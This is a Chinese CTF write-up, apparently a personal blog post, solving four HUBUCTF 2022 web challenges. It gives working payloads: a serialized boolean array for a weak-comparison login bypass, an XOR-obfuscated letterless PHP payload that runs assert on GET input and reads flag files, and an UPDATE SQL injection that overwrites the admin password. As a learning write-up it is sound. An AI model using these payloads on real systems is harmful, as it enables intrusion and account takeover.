开学后可能就不怎么刷题了,因为课巨多?,可能分享其他东西,虽然寒假也没做多少。不管了反正以后不走ctf这条路。
[HUBUCTF 2022 新生赛]题目
checkinHowToGetShellCalculateezsql
checkin
知识:true和不是0、false、null的值弱比较,结果都为true。
所以只要password和username不是那几个值,他们和true比较就都是true,so传个序列化的数组进去a:2:{s:8:“username”;b:1;s:8:“password”;b:1;}布尔值是1就是true。
HowToGetShell
无字母RCE,用不是字母的字符异或后构造payload
注意传参时都在一行,不能换行。
首先我们最终得让mess=assert($_GET[_])这个字符串。
脚本
dict=[i for i in range(0,65)]+[i for i in range(91,97)]+[i for i in range(123,128)]#用除了字母外的字符的ascii码异或出我们要的字符。a=''b=''ddd=['a','s','s','e','r','t','G','E','T']for s in ddd: for i in dict: for j in dict: if chr(i^j)==s and len(hex(i)[2:])==2 and len(hex(j)[2:])==2: print("('%"+hex(i)[2:]+"'^'"+"%"+hex(j)[2:]+"')") break else: continue break #有些字符不可见,方便起见url编码所有异或字符
运行结果
之后在php文件里面写
$_=('%1a'^'%7b').('%13'^'%60').('%13'^'%60').('%18'^'%7d').('%12'^'%60').('%14'^'%60');//等价于assert$__='_'.('%18'^'%5f').('%18'^'%5d').('%14'^'%40');//等价于_GET$___=$$__;//$_GET$_($___[_]);//等价assert($_GET[_]])
把注释去掉,合并payload:
$_=('%1a'^'%7b').('%13'^'%60').('%13'^'%60').('%18'^'%7d').('%12'^'%60').('%14'^'%60');$__='_'.('%18'^'%5f').('%18'^'%5d').('%14'^'%40');$___=$$__;$_($___[_]);
最后get传参 ?_=phpinfo();
发现可以执行
但是传system(‘ls’)居然不得,没事可以这样:
?_=var_dump(scandir(“.”));------后来发现是忘记写分号了,C.
点代表当前目录。那怎么搞flag呢。传_=show_source(‘flag.php’);即可
好好好,这么玩是吧,?_=var_dump(scandir(“/”));查看根目录
传_=show_source(‘/flag’);
Calculate
又是计算题,和昨天GXYCTF的一题有点像?,不过这里规定解答时间不能多于3秒不能少于1秒
这种肯定是python写脚本,算对要求次数即可。先看源码。
可以看到它把计算式的每个数字或者运算符都分了一个块,这里我们用xpath方法和re模块来爬虫。这里没学xpath可能有点难,不过re的findall应该也可以。
贴出我的脚本:
import requestsimport timefrom lxml import etreeimport reaaaa = 0sburl = "http://node5.anna.nssctf.cn:28354"data = {'ans': f'1'}def getflag(url): global aaaa global data for i in range(21): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0', 'Referer':'http://node5.anna.nssctf.cn:28354/', 'Cookie':'PHPSESSID=s1micr7402f96j9hpninq14021'} print(data) res = requests.post(url, data=data, headers=headers) time.sleep(1)#休眠1秒再返回响应,控制每次请求间隔大于一秒。 res.encoding = 'utf-8' tree=etree.HTML(res.text) see=re.search('<p> You Have answered \d+questions;</p>',res.text,re.S) lis=tree.xpath('/html/body/form/div/text()') print(see) if i==20://0--20,一共21次,第一次是肯定错,第21次应该直接出flag了,所以把第21次的响应源码打印出来 print(res.text) jisuan='' for x in lis[0:-1]: jisuan+=x # 因为列表最后一个元素是等于号所以我们只截取到倒数第二个。 #将截取的元素组合成计算式字符串,eval执行得出结果。 aaaa=eval(jisuan) print(jisuan) # print('下一次答案', aaaa) data = {'ans': f'{aaaa}'}getflag(sburl)
解读一下etree.HTML:
在Python中,etree.HTML是ElementTree库中的一个函数,用于解析HTML文档并构建Element对象。ElementTree是Python标准库中用于解析和操作XML和HTML文档的模块,提供了简单而灵活的API。
通过使用etree.HTML函数,可以将HTML文档解析为Element对象,然后可以使用Element对象的方法来查找、遍历和操作HTML文档中的元素。
上面说了它把计算式的每个数字或者运算符都分了一个块,这些div元素格式基本都一样,属性略有不同,不影响。xpath方法可以爬取所有符合要求的div元素,返回列表.
效果图:
最后flag可以得出?。
ezsql
知道用户名admin
尝试单引号双引号闭合都没用。它报错只会报用户名不存在和密码错误。一般这种基本没什么头绪的只能扫目录或看源码,但是源码什么都看不出,扫目录得到备份文件压缩包,所有php文件都在里面。
一个一个看,但是还是看不出什么,看了其他人的wp都说是update注入,这东西我真是第一次见✌。那得好好学学。
update.php里面这句有注入点,如下。
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");
佬们说可以在age处构造注入
我试过在nickname处闭合引号但是没用,应该是经过转义了,但是age处没引号,可以构造攻击,将admin的密码改了。下面是payload,bp传。
nickname=d&age=9,nickname=322,password=0x6563636263383765346235636532666532383330386664396632613762616633#&description=&token=4a38311f6d805578b1d5f0a45473a02d
放包后可以看到昵称被改成322而不是d,说明password后面的#有效。
因为查询语句是先插入age,昵称和描述在后面,但是由于#,他们就被注释了,于是密码也被改了。登出再用admin登陆,简介处是flag。
对于
update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");
这段代码的漏洞。
本地试了一下,如果你update没用where条件,就会把这个表中指定字段的所有值都改成你要改的值,本题因为注释号#,把where id=$_SESSION[id]");给注释了,这就是为什么在一个账户里可以改所有账户的密码等资料的原因。